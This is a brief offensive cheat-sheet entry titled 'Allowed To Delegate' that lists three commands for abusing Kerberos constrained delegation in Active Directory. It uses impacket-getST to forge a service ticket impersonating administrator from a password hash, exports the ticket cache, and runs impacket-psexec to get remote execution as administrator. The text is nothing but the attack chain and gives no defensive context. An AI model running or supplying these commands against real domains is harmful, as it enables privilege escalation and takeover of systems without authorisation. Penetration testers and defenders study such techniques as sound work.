Allowed To Delegate

impacket-getST -spn 'WWW/<FQDN>' -impersonate administrator -hashes :<HASH> '<FQDN>/<PRINCIPAL>'

export KRB5CCNAME=administrator.ccache 

impacket-psexec <FQDN>/administrator@<FQDN> -k -no-pass